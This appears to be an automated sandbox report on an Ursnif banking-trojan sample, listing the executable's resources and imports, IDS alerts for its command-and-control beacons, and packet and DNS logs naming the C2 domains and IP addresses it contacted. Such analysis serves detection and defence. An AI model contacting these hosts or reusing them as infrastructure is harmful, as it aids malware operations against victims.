RT_RCDATA	0x81234	0x10b	GIF image data, version 89a, 22 x 22	Bulgarian	Bulgaria
RT_RCDATA	0x81340	0xed	GIF image data, version 89a, 22 x 22	Bulgarian	Bulgaria
RT_RCDATA	0x81430	0xe4	GIF image data, version 89a, 22 x 22	Bulgarian	Bulgaria
RT_RCDATA	0x81514	0xfe	GIF image data, version 89a, 22 x 22	Bulgarian	Bulgaria
RT_RCDATA	0x81614	0x96	GIF image data, version 89a, 24 x 24	Bulgarian	Bulgaria
RT_RCDATA	0x816ac	0x10c	GIF image data, version 89a, 22 x 22	Bulgarian	Bulgaria
RT_RCDATA	0x817b8	0x105	GIF image data, version 89a, 22 x 22	Bulgarian	Bulgaria
RT_RCDATA	0x818c0	0x102	GIF image data, version 89a, 22 x 22	Bulgarian	Bulgaria
RT_RCDATA	0x819c4	0xfb	GIF image data, version 89a, 22 x 22	Bulgarian	Bulgaria
RT_RCDATA	0x81ac0	0x10e	GIF image data, version 89a, 22 x 22	Bulgarian	Bulgaria
RT_RCDATA	0x81bd0	0x105	GIF image data, version 89a, 22 x 22	Bulgarian	Bulgaria
RT_RCDATA	0x81cd8	0x100	GIF image data, version 89a, 22 x 22	Bulgarian	Bulgaria
RT_RCDATA	0x81dd8	0xfc	GIF image data, version 89a, 22 x 22	Bulgarian	Bulgaria
RT_RCDATA	0x81ed4	0x113	GIF image data, version 89a, 22 x 22	Bulgarian	Bulgaria
RT_RCDATA	0x81fe8	0x10e	GIF image data, version 89a, 22 x 22	Bulgarian	Bulgaria
RT_RCDATA	0x820f8	0x106	GIF image data, version 89a, 22 x 22	Bulgarian	Bulgaria
RT_RCDATA	0x82200	0xfd	GIF image data, version 89a, 22 x 22	Bulgarian	Bulgaria
RT_RCDATA	0x82300	0x115	GIF image data, version 89a, 22 x 22	Bulgarian	Bulgaria
RT_RCDATA	0x82418	0x113	GIF image data, version 89a, 22 x 22	Bulgarian	Bulgaria
RT_RCDATA	0x8252c	0x229	HTML document, ASCII text, with CRLF, CR line terminators	Bulgarian	Bulgaria
RT_RCDATA	0x82758	0x3f	GIF image data, version 89a, 12 x 16	Bulgarian	Bulgaria
RT_RCDATA	0x82798	0x6e	GIF image data, version 89a, 16 x 16	Bulgarian	Bulgaria
RT_RCDATA	0x82808	0x50	GIF image data, version 89a, 16 x 16	Bulgarian	Bulgaria
RT_RCDATA	0x82858	0x6c	GIF image data, version 89a, 16 x 16	Bulgarian	Bulgaria
RT_RCDATA	0x828c4	0x4f	GIF image data, version 89a, 16 x 16	Bulgarian	Bulgaria
RT_RCDATA	0x82914	0x6f	GIF image data, version 89a, 17 x 16	Bulgarian	Bulgaria
RT_RCDATA	0x82984	0x41	GIF image data, version 89a, 15 x 15	Bulgarian	Bulgaria
RT_RCDATA	0x829c8	0x3c	GIF image data, version 89a, 16 x 12	Bulgarian	Bulgaria
RT_RCDATA	0x82a04	0x69	GIF image data, version 89a, 16 x 16	Bulgarian	Bulgaria
RT_RCDATA	0x82a70	0x4d	GIF image data, version 89a, 16 x 16	Bulgarian	Bulgaria
RT_RCDATA	0x82ac0	0x71	GIF image data, version 89a, 16 x 17	Bulgarian	Bulgaria
RT_RCDATA	0x82b34	0x69	GIF image data, version 89a, 16 x 16	Bulgarian	Bulgaria
RT_RCDATA	0x82ba0	0x4d	GIF image data, version 89a, 16 x 16	Bulgarian	Bulgaria
RT_RCDATA	0x82bf0	0x12c	GIF image data, version 89a, 10 x 12	Bulgarian	Bulgaria
RT_RCDATA	0x82d1c	0x129	GIF image data, version 89a, 10 x 12	Bulgarian	Bulgaria
RT_RCDATA	0x82e48	0x91	GIF image data, version 89a, 16 x 16	Bulgarian	Bulgaria
RT_RCDATA	0x82edc	0x82	GIF image data, version 89a, 16 x 16	Bulgarian	Bulgaria
RT_RCDATA	0x82f60	0x75	GIF image data, version 89a, 16 x 16	Bulgarian	Bulgaria
RT_RCDATA	0x82fd8	0x9e	GIF image data, version 89a, 16 x 16	Bulgarian	Bulgaria
RT_RCDATA	0x83078	0x7c	GIF image data, version 89a, 16 x 16	Bulgarian	Bulgaria
RT_RCDATA	0x830f4	0x36	GIF image data, version 89a, 1 x 1	Bulgarian	Bulgaria
RT_RCDATA	0x8312c	0xea6	HTML document, ASCII text, with CRLF line terminators	Bulgarian	Bulgaria
RT_RCDATA	0x83fd4	0x2b9f	ASCII text, with CRLF line terminators	Bulgarian	Bulgaria
RT_RCDATA	0x86b74	0x4e98	ASCII text, with CRLF line terminators	Bulgarian	Bulgaria
RT_RCDATA	0x8ba0c	0x539	ASCII text, with CRLF line terminators	Bulgarian	Bulgaria
RT_RCDATA	0x8bf48	0x1d08	HTML document, ASCII text, with CRLF line terminators	Bulgarian	Bulgaria
RT_RCDATA	0x8dc50	0x61b	ASCII text, with CRLF line terminators	Bulgarian	Bulgaria
RT_RCDATA	0x8e26c	0x671	ASCII text, with CRLF line terminators	Bulgarian	Bulgaria
RT_RCDATA	0x8e8e0	0x7e61	ASCII text, with CRLF line terminators	Bulgarian	Bulgaria
RT_RCDATA	0x96744	0xd59	HTML document, ASCII text, with CRLF line terminators	Bulgarian	Bulgaria
RT_RCDATA	0x974a0	0x664	data
RT_RCDATA	0x97b04	0x1c9	Delphi compiled form 'Tgj3eo9f8hwe89fq'
RT_RCDATA	0x97cd0	0xb804	data	English	United States
RT_GROUP_CURSOR	0xa34d4	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0xa34e8	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0xa34fc	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0xa3510	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0xa3524	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0xa3538	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0xa354c	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_ICON	0xa3560	0x14	data	English	United States

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetVersion, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
user32.dll	GetKeyboardType, LoadStringA, MessageBoxA, CharNextA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
kernel32.dll	TlsSetValue, TlsGetValue, TlsFree, TlsAlloc, LocalFree, LocalAlloc
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
kernel32.dll	lstrcpyA, WriteFile, WaitForSingleObject, VirtualQuery, VirtualAlloc, Sleep, SizeofResource, SetThreadLocale, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, MultiByteToWideChar, MulDiv, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalUnlock, GlobalReAlloc, GlobalHandle, GlobalLock, GlobalFree, GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVersionExA, GetVersion, GetTickCount, GetThreadLocale, GetTempPathA, GetSystemInfo, GetSystemDirectoryA, GetStringTypeExA, GetStdHandle, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetFileSize, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCPInfo, GetACP, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA, FindResourceA, EnumCalendarInfoA, EnterCriticalSection, DeleteCriticalSection, CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
gdi32.dll	UnrealizeObject, StrokePath, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, RectVisible, RealizePalette, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetPixel, GetPaletteEntries, GetObjectA, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExcludeClipRect, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, BitBlt
user32.dll	CreateWindowExA, WindowFromPoint, WinHelpA, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, ShowCursor, SetWindowsHookExA, SetWindowPos, SetWindowPlacement, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageA, OffsetRect, OemToCharA, MessageBoxA, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassNameA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawEdge, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerBuffA, CharLowerA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopy, VariantClear, VariantInit
ole32.dll	CoUninitialize, CoInitialize
oleaut32.dll	GetErrorInfo, SysFreeString
comctl32.dll	ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_SetDragCursorImage, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_ReplaceIcon, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
Bulgarian	Bulgaria

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
01/26/22-17:03:29.526106	TCP	2033203	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)	49753	80	192.168.2.5	13.107.42.16
01/26/22-17:03:50.217694	TCP	2033203	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)	49758	80	192.168.2.5	194.76.226.200
01/26/22-17:04:11.131587	TCP	2033204	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)	49771	80	192.168.2.5	211.119.84.112
01/26/22-17:04:11.131587	TCP	2033203	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)	49771	80	192.168.2.5	211.119.84.112
01/26/22-17:04:32.817920	TCP	2033204	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)	49781	80	192.168.2.5	41.41.255.235
01/26/22-17:04:53.808751	TCP	2033204	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)	49812	80	192.168.2.5	31.214.157.187
01/26/22-17:04:53.808751	TCP	2033203	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)	49812	80	192.168.2.5	31.214.157.187
01/26/22-17:05:14.219179	TCP	2033203	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)	49814	80	192.168.2.5	13.107.43.16
01/26/22-17:05:55.173450	TCP	2033203	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)	49825	80	192.168.2.5	181.129.180.251
01/26/22-17:06:16.920281	TCP	2033203	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)	49827	80	192.168.2.5	61.36.14.230
01/26/22-17:06:38.188650	TCP	2033203	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)	49828	80	192.168.2.5	31.214.157.187
01/26/22-17:06:59.014573	TCP	2033204	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)	49829	80	192.168.2.5	13.107.43.16
01/26/22-17:06:59.014573	TCP	2033203	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)	49829	80	192.168.2.5	13.107.43.16

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 26, 2022 17:03:50.196054935 CET	49758	80	192.168.2.5	194.76.226.200
Jan 26, 2022 17:03:50.216969967 CET	80	49758	194.76.226.200	192.168.2.5
Jan 26, 2022 17:03:50.217222929 CET	49758	80	192.168.2.5	194.76.226.200
Jan 26, 2022 17:03:50.217694044 CET	49758	80	192.168.2.5	194.76.226.200
Jan 26, 2022 17:03:50.240555048 CET	80	49758	194.76.226.200	192.168.2.5
Jan 26, 2022 17:03:50.485863924 CET	80	49758	194.76.226.200	192.168.2.5
Jan 26, 2022 17:03:50.527489901 CET	49758	80	192.168.2.5	194.76.226.200
Jan 26, 2022 17:04:10.823165894 CET	49771	80	192.168.2.5	211.119.84.112
Jan 26, 2022 17:04:11.131019115 CET	80	49771	211.119.84.112	192.168.2.5
Jan 26, 2022 17:04:11.131146908 CET	49771	80	192.168.2.5	211.119.84.112
Jan 26, 2022 17:04:11.131587029 CET	49771	80	192.168.2.5	211.119.84.112
Jan 26, 2022 17:04:11.641944885 CET	80	49771	211.119.84.112	192.168.2.5
Jan 26, 2022 17:04:12.363171101 CET	80	49771	211.119.84.112	192.168.2.5
Jan 26, 2022 17:04:12.363260984 CET	80	49771	211.119.84.112	192.168.2.5
Jan 26, 2022 17:04:12.363360882 CET	49771	80	192.168.2.5	211.119.84.112
Jan 26, 2022 17:04:12.363540888 CET	49771	80	192.168.2.5	211.119.84.112
Jan 26, 2022 17:04:12.671621084 CET	80	49771	211.119.84.112	192.168.2.5
Jan 26, 2022 17:04:32.723215103 CET	49781	80	192.168.2.5	41.41.255.235
Jan 26, 2022 17:04:32.817071915 CET	80	49781	41.41.255.235	192.168.2.5
Jan 26, 2022 17:04:32.817342997 CET	49781	80	192.168.2.5	41.41.255.235
Jan 26, 2022 17:04:32.817919970 CET	49781	80	192.168.2.5	41.41.255.235
Jan 26, 2022 17:04:33.109745026 CET	80	49781	41.41.255.235	192.168.2.5
Jan 26, 2022 17:04:33.531102896 CET	80	49781	41.41.255.235	192.168.2.5
Jan 26, 2022 17:04:33.531539917 CET	80	49781	41.41.255.235	192.168.2.5
Jan 26, 2022 17:04:33.531630993 CET	49781	80	192.168.2.5	41.41.255.235
Jan 26, 2022 17:04:33.531966925 CET	49781	80	192.168.2.5	41.41.255.235
Jan 26, 2022 17:04:33.613989115 CET	80	49781	41.41.255.235	192.168.2.5
Jan 26, 2022 17:04:53.780751944 CET	49812	80	192.168.2.5	31.214.157.187
Jan 26, 2022 17:04:53.807960033 CET	80	49812	31.214.157.187	192.168.2.5
Jan 26, 2022 17:04:53.808163881 CET	49812	80	192.168.2.5	31.214.157.187
Jan 26, 2022 17:04:53.808751106 CET	49812	80	192.168.2.5	31.214.157.187
Jan 26, 2022 17:04:53.835407972 CET	80	49812	31.214.157.187	192.168.2.5
Jan 26, 2022 17:04:54.068263054 CET	80	49812	31.214.157.187	192.168.2.5
Jan 26, 2022 17:04:54.110872984 CET	49812	80	192.168.2.5	31.214.157.187
Jan 26, 2022 17:04:55.488312960 CET	80	49758	194.76.226.200	192.168.2.5
Jan 26, 2022 17:04:55.489257097 CET	49758	80	192.168.2.5	194.76.226.200
Jan 26, 2022 17:04:55.489376068 CET	49758	80	192.168.2.5	194.76.226.200
Jan 26, 2022 17:04:55.509185076 CET	80	49758	194.76.226.200	192.168.2.5
Jan 26, 2022 17:05:19.442369938 CET	49812	80	192.168.2.5	31.214.157.187
Jan 26, 2022 17:05:19.469677925 CET	80	49812	31.214.157.187	192.168.2.5
Jan 26, 2022 17:05:19.469788074 CET	49812	80	192.168.2.5	31.214.157.187
Jan 26, 2022 17:05:34.284610987 CET	49816	80	192.168.2.5	194.76.226.200
Jan 26, 2022 17:05:34.305545092 CET	80	49816	194.76.226.200	192.168.2.5
Jan 26, 2022 17:05:34.307151079 CET	49816	80	192.168.2.5	194.76.226.200
Jan 26, 2022 17:05:34.308445930 CET	49816	80	192.168.2.5	194.76.226.200
Jan 26, 2022 17:05:34.328700066 CET	80	49816	194.76.226.200	192.168.2.5
Jan 26, 2022 17:05:34.582305908 CET	80	49816	194.76.226.200	192.168.2.5
Jan 26, 2022 17:05:34.735786915 CET	49816	80	192.168.2.5	194.76.226.200
Jan 26, 2022 17:05:54.993796110 CET	49825	80	192.168.2.5	181.129.180.251
Jan 26, 2022 17:05:55.171062946 CET	80	49825	181.129.180.251	192.168.2.5
Jan 26, 2022 17:05:55.171247959 CET	49825	80	192.168.2.5	181.129.180.251
Jan 26, 2022 17:05:55.173449993 CET	49825	80	192.168.2.5	181.129.180.251
Jan 26, 2022 17:05:55.585179090 CET	80	49825	181.129.180.251	192.168.2.5
Jan 26, 2022 17:05:56.107831001 CET	80	49825	181.129.180.251	192.168.2.5
Jan 26, 2022 17:05:56.107940912 CET	80	49825	181.129.180.251	192.168.2.5
Jan 26, 2022 17:05:56.108086109 CET	49825	80	192.168.2.5	181.129.180.251
Jan 26, 2022 17:05:56.108222008 CET	49825	80	192.168.2.5	181.129.180.251
Jan 26, 2022 17:05:56.284883976 CET	80	49825	181.129.180.251	192.168.2.5
Jan 26, 2022 17:06:16.600522995 CET	49827	80	192.168.2.5	61.36.14.230
Jan 26, 2022 17:06:16.919651031 CET	80	49827	61.36.14.230	192.168.2.5
Jan 26, 2022 17:06:16.919747114 CET	49827	80	192.168.2.5	61.36.14.230
Jan 26, 2022 17:06:16.920280933 CET	49827	80	192.168.2.5	61.36.14.230
Jan 26, 2022 17:06:17.439112902 CET	80	49827	61.36.14.230	192.168.2.5
Jan 26, 2022 17:06:18.136353016 CET	80	49827	61.36.14.230	192.168.2.5
Jan 26, 2022 17:06:18.136398077 CET	80	49827	61.36.14.230	192.168.2.5
Jan 26, 2022 17:06:18.136567116 CET	49827	80	192.168.2.5	61.36.14.230
Jan 26, 2022 17:06:18.136715889 CET	49827	80	192.168.2.5	61.36.14.230
Jan 26, 2022 17:06:18.455836058 CET	80	49827	61.36.14.230	192.168.2.5
Jan 26, 2022 17:06:38.157824993 CET	49828	80	192.168.2.5	31.214.157.187
Jan 26, 2022 17:06:38.188126087 CET	80	49828	31.214.157.187	192.168.2.5
Jan 26, 2022 17:06:38.188208103 CET	49828	80	192.168.2.5	31.214.157.187
Jan 26, 2022 17:06:38.188649893 CET	49828	80	192.168.2.5	31.214.157.187
Jan 26, 2022 17:06:38.218698025 CET	80	49828	31.214.157.187	192.168.2.5
Jan 26, 2022 17:06:38.456873894 CET	80	49828	31.214.157.187	192.168.2.5
Jan 26, 2022 17:06:38.508755922 CET	49828	80	192.168.2.5	31.214.157.187
Jan 26, 2022 17:06:39.579426050 CET	80	49816	194.76.226.200	192.168.2.5
Jan 26, 2022 17:06:39.579612017 CET	49816	80	192.168.2.5	194.76.226.200
Jan 26, 2022 17:06:39.787955999 CET	49816	80	192.168.2.5	194.76.226.200
Jan 26, 2022 17:06:39.808128119 CET	80	49816	194.76.226.200	192.168.2.5
Jan 26, 2022 17:07:09.449675083 CET	49828	80	192.168.2.5	31.214.157.187
Jan 26, 2022 17:07:09.480206013 CET	80	49828	31.214.157.187	192.168.2.5
Jan 26, 2022 17:07:09.482753038 CET	49828	80	192.168.2.5	31.214.157.187

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 26, 2022 17:04:10.702095032 CET	63183	53	192.168.2.5	8.8.8.8
Jan 26, 2022 17:04:10.821247101 CET	53	63183	8.8.8.8	192.168.2.5
Jan 26, 2022 17:04:32.537123919 CET	56969	53	192.168.2.5	8.8.8.8
Jan 26, 2022 17:04:32.720880985 CET	53	56969	8.8.8.8	192.168.2.5
Jan 26, 2022 17:05:54.678286076 CET	63732	53	192.168.2.5	8.8.8.8
Jan 26, 2022 17:05:54.987817049 CET	53	63732	8.8.8.8	192.168.2.5
Jan 26, 2022 17:06:16.351515055 CET	54450	53	192.168.2.5	8.8.8.8
Jan 26, 2022 17:06:16.595956087 CET	53	54450	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 26, 2022 17:04:10.702095032 CET	192.168.2.5	8.8.8.8	0xb2e	Standard query (0)	giporedtrip.at	A (IP address)	IN (0x0001)
Jan 26, 2022 17:04:32.537123919 CET	192.168.2.5	8.8.8.8	0x72f	Standard query (0)	habpfans.at	A (IP address)	IN (0x0001)
Jan 26, 2022 17:05:54.678286076 CET	192.168.2.5	8.8.8.8	0xdb34	Standard query (0)	giporedtrip.at	A (IP address)	IN (0x0001)
Jan 26, 2022 17:06:16.351515055 CET	192.168.2.5	8.8.8.8	0x5295	Standard query (0)	habpfans.at	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Jan 26, 2022 17:04:10.821247101 CET	8.8.8.8	192.168.2.5	0xb2e	No error (0)	giporedtrip.at	211.119.84.112	A (IP address)	IN (0x0001)
Jan 26, 2022 17:04:10.821247101 CET	8.8.8.8	192.168.2.5	0xb2e	No error (0)	giporedtrip.at	183.78.205.92	A (IP address)	IN (0x0001)
Jan 26, 2022 17:04:10.821247101 CET	8.8.8.8	192.168.2.5	0xb2e	No error (0)	giporedtrip.at	210.92.250.133	A (IP address)	IN (0x0001)
Jan 26, 2022 17:04:10.821247101 CET	8.8.8.8	192.168.2.5	0xb2e	No error (0)	giporedtrip.at	187.232.235.234	A (IP address)	IN (0x0001)
Jan 26, 2022 17:04:10.821247101 CET	8.8.8.8	192.168.2.5	0xb2e	No error (0)	giporedtrip.at	183.100.39.157	A (IP address)	IN (0x0001)
Jan 26, 2022 17:04:10.821247101 CET	8.8.8.8	192.168.2.5	0xb2e	No error (0)	giporedtrip.at	203.228.9.102	A (IP address)	IN (0x0001)
Jan 26, 2022 17:04:10.821247101 CET	8.8.8.8	192.168.2.5	0xb2e	No error (0)	giporedtrip.at	41.41.255.235	A (IP address)	IN (0x0001)
Jan 26, 2022 17:04:10.821247101 CET	8.8.8.8	192.168.2.5	0xb2e	No error (0)	giporedtrip.at	186.6.45.193	A (IP address)	IN (0x0001)
Jan 26, 2022 17:04:10.821247101 CET	8.8.8.8	192.168.2.5	0xb2e	No error (0)	giporedtrip.at	197.44.54.172	A (IP address)	IN (0x0001)
Jan 26, 2022 17:04:10.821247101 CET	8.8.8.8	192.168.2.5	0xb2e	No error (0)	giporedtrip.at	151.251.30.69	A (IP address)	IN (0x0001)
Jan 26, 2022 17:04:32.720880985 CET	8.8.8.8	192.168.2.5	0x72f	No error (0)	habpfans.at	41.41.255.235	A (IP address)	IN (0x0001)
Jan 26, 2022 17:04:32.720880985 CET	8.8.8.8	192.168.2.5	0x72f	No error (0)	habpfans.at	186.6.45.193	A (IP address)	IN (0x0001)
Jan 26, 2022 17:04:32.720880985 CET	8.8.8.8	192.168.2.5	0x72f	No error (0)	habpfans.at	197.44.54.172	A (IP address)	IN (0x0001)
Jan 26, 2022 17:04:32.720880985 CET	8.8.8.8	192.168.2.5	0x72f	No error (0)	habpfans.at	151.251.30.69	A (IP address)	IN (0x0001)
Jan 26, 2022 17:04:32.720880985 CET	8.8.8.8	192.168.2.5	0x72f	No error (0)	habpfans.at	211.119.84.112	A (IP address)	IN (0x0001)
Jan 26, 2022 17:04:32.720880985 CET	8.8.8.8	192.168.2.5	0x72f	No error (0)	habpfans.at	183.78.205.92	A (IP address)	IN (0x0001)
Jan 26, 2022 17:04:32.720880985 CET	8.8.8.8	192.168.2.5	0x72f	No error (0)	habpfans.at	210.92.250.133	A (IP address)	IN (0x0001)
Jan 26, 2022 17:04:32.720880985 CET	8.8.8.8	192.168.2.5	0x72f	No error (0)	habpfans.at	187.232.235.234	A (IP address)	IN (0x0001)
Jan 26, 2022 17:04:32.720880985 CET	8.8.8.8	192.168.2.5	0x72f	No error (0)	habpfans.at	183.100.39.157	A (IP address)	IN (0x0001)
Jan 26, 2022 17:04:32.720880985 CET	8.8.8.8	192.168.2.5	0x72f	No error (0)	habpfans.at	203.228.9.102	A (IP address)	IN (0x0001)
Jan 26, 2022 17:05:54.987817049 CET	8.8.8.8	192.168.2.5	0xdb34	No error (0)	giporedtrip.at	181.129.180.251	A (IP address)	IN (0x0001)
Jan 26, 2022 17:05:54.987817049 CET	8.8.8.8	192.168.2.5	0xdb34	No error (0)	giporedtrip.at	222.236.49.124	A (IP address)	IN (0x0001)
Jan 26, 2022 17:05:54.987817049 CET	8.8.8.8	192.168.2.5	0xdb34	No error (0)	giporedtrip.at	187.212.179.214	A (IP address)	IN (0x0001)
Jan 26, 2022 17:05:54.987817049 CET	8.8.8.8	192.168.2.5	0xdb34	No error (0)	giporedtrip.at	95.104.121.111	A (IP address)	IN (0x0001)
Jan 26, 2022 17:05:54.987817049 CET	8.8.8.8	192.168.2.5	0xdb34	No error (0)	giporedtrip.at	178.31.236.98	A (IP address)	IN (0x0001)
Jan 26, 2022 17:05:54.987817049 CET	8.8.8.8	192.168.2.5	0xdb34	No error (0)	giporedtrip.at	31.167.149.141	A (IP address)	IN (0x0001)
Jan 26, 2022 17:05:54.987817049 CET	8.8.8.8	192.168.2.5	0xdb34	No error (0)	giporedtrip.at	58.235.189.190	A (IP address)	IN (0x0001)
Jan 26, 2022 17:05:54.987817049 CET	8.8.8.8	192.168.2.5	0xdb34	No error (0)	giporedtrip.at	61.36.14.230	A (IP address)	IN (0x0001)
Jan 26, 2022 17:05:54.987817049 CET	8.8.8.8	192.168.2.5	0xdb34	No error (0)	giporedtrip.at	14.51.96.70	A (IP address)	IN (0x0001)
Jan 26, 2022 17:05:54.987817049 CET	8.8.8.8	192.168.2.5	0xdb34	No error (0)	giporedtrip.at	180.69.193.102	A (IP address)	IN (0x0001)
Jan 26, 2022 17:06:16.595956087 CET	8.8.8.8	192.168.2.5	0x5295	No error (0)	habpfans.at	61.36.14.230	A (IP address)	IN (0x0001)
Jan 26, 2022 17:06:16.595956087 CET	8.8.8.8	192.168.2.5	0x5295	No error (0)	habpfans.at	14.51.96.70	A (IP address)	IN (0x0001)
Jan 26, 2022 17:06:16.595956087 CET	8.8.8.8	192.168.2.5	0x5295	No error (0)	habpfans.at	180.69.193.102	A (IP address)	IN (0x0001)
Jan 26, 2022 17:06:16.595956087 CET	8.8.8.8	192.168.2.5	0x5295	No error (0)	habpfans.at	181.129.180.251	A (IP address)	IN (0x0001)
Jan 26, 2022 17:06:16.595956087 CET	8.8.8.8	192.168.2.5	0x5295	No error (0)	habpfans.at	222.236.49.124	A (IP address)	IN (0x0001)
